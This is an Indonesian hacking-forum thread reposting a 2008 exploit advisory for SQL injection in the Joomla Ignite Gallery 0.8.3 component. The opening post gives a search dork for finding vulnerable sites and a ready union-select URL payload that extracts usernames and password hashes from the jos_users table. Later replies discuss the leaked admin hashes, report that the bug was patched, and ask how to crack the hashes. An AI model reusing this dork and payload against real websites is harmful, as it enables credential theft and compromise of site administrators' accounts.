Explore Your Brain







Username Password

Lost Password
View Thread
Explore Your Brain » All About Security I.T » Info Security
Joomla Component Ignite Gallery 0.8.3 SQL Injection Vulnerability
Username
Password
Register FAQ Members List Today's Posts Search

Print Thread

11-10-2008 03:19 AM
#1
Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 38 		#############################################################################
# #
# Joomla Component Ignite Gallery SQL Injection Vulnerability #
# #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName: "Joomla"
[~] Component: "Ignite Gallery (com_ignitegallery)"
[~] Version: "0.8.3"
[~] Author: "Matt Thomson"
[~] Author E-mail: "matt@ignitejoomlaextensions.com"
[~] Author URL: "www.ignitejoomlaextensions.com"

########################################

[~] DORK: inurl:"com_ignitegallery"

########################################

[~] Exploit: /index.php?option=com_ignitegallery&task=view&gallery=[SQL]&Itemid=18
[~] Example: /index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10+from+jos_users--&Itemid=18

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-10]
Nabi Muhammad SAW bersabda :ā€¯ Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahuiā€¯ (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
11-10-2008 01:58 PM
#2
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

si_tunge
Anbu


Posts: 376
Joined: 09.09.08
Location: Di dalam kancutnya sandra dewi
Age: 35 		Waaak pusiiing gak ngerti..
KsiH penjeLasan dikit doNg paman??
INDONESIA GW ANCUR GARA2 PEMIMPINNYA CACAD
 
Offline
11-10-2008 06:02 PM
#3
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 38 		Bug diatas sangat berbahaya, karna attacker bisa melihat username dan password administrator dalam bentuk md5 hash.
Nabi Muhammad SAW bersabda :ā€¯ Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahuiā€¯ (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
11-10-2008 06:33 PM
#4
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

suckeve
Anbu


Posts: 495
Joined: 29.08.08
Location: nowhere
Age: 35 		wew..tapi klo g pake componenet itu gpp kan??GrinGrin
soalnya website gw joomla juga nih boz
 
Offline
11-10-2008 06:36 PM
#5
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 38 		Kl situsnya tidak menggunakan Component Ignite Gallery 0.8.3 tidak ada masalah. aman-aman aja kok. heheheheh
Nabi Muhammad SAW bersabda :ā€¯ Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahuiā€¯ (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
22-11-2008 11:13 AM
#6
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

sanca
Chunnin


Posts: 81
Joined: 09.07.08
Location: karawang tea
Age: 38
EVA-00 wrote:
Bug diatas sangat berbahaya, karna attacker bisa melihat username dan password administrator dalam bentuk md5 hash.


Ko gk bisa ya...??

Pas saya praktekin, ko galery nya malah blank item.

disana tercantum tulisan yang hidden gitu. pas kita blok baru ketauan tulisan nya. tapi bukan username and password tuh.

apa emang udah di patch ya?
+=+=+=+=SAnca=+=+=+=+

[size=150][/size]
 
Offline
22-11-2008 08:20 PM
#7
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

EVA-00
HackAge


Posts: 2770
Joined: 21.05.08
Location: Wallahu a'lam
Age: 38 		Yups, componentna udah di patch oleh developer.
Nabi Muhammad SAW bersabda :ā€¯ Barangsiapa Yang Mengamalkan Ilmu Yang Ia Ketahui Maka Allah Akan Memberikan Kepadanya Ilmu Yang Belum Ia Ketahuiā€¯ (HR. Imam Ahmad).

..::shn6 u!vJq Jnoh 3Joldx3 d33>I::..
 
Offline
04-07-2009 10:49 PM
#8
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

andi
Jounin


Posts: 160
Joined: 05.03.09
Location: blacknet
Age: 36 		kakak klu bolhe tau,,
bug yang kaka k berikan ini buat joomla yang kberpa..
1.5 pa bukan..
Huehue
 
Offline
23-08-2010 12:45 PM
#9
RE: Joomla Component Ignite Gallery 0.8.3...
User Avatar

odiex
Genin


Posts: 43
Joined: 13.08.10 		gan. kalo mecahin password hashnya gimana tuh ya gan??? Apaansich
-----------------------O.D.I.E.X-----------------------
On Duty Inject Exploit the X systems.
 
Offline
Jump to Forum:
Forum powered by fusionBoard
Share this Thread
URL:
BBcode:
HTML:
Similar Threads
Thread Forum Replies Last Post
SQL injection [Attack + Defense] Black & White Proof of Concept 8 10-05-2011 22:06
HTML Injection In Social Networking Site (POC For Dummies) Black & White Proof of Concept 14 17-03-2011 20:31
HAVECMS 2.0 Beta <======= SQL Injection Info Security 10 26-09-2010 21:52
WebSuite Content Management System (SQL Injection) Info Security 3 13-09-2010 19:06
Hotel reservation System (city.asp city) Blind SQL Injection Vulnerability Author: JosS Info Security 2 23-08-2010 12:57
Copyright © 2007-2016

Sunset theme originally by Digitanium. Converted to PHP-Fusion v7 by Kenneth.
Re-Design by EVA-00
Powered by PHP-Fusion copyright © 2002 - 2024 by Nick Jones.
Released as free software without warranties under GNU Affero GPL v3.

14,258,032 unique visits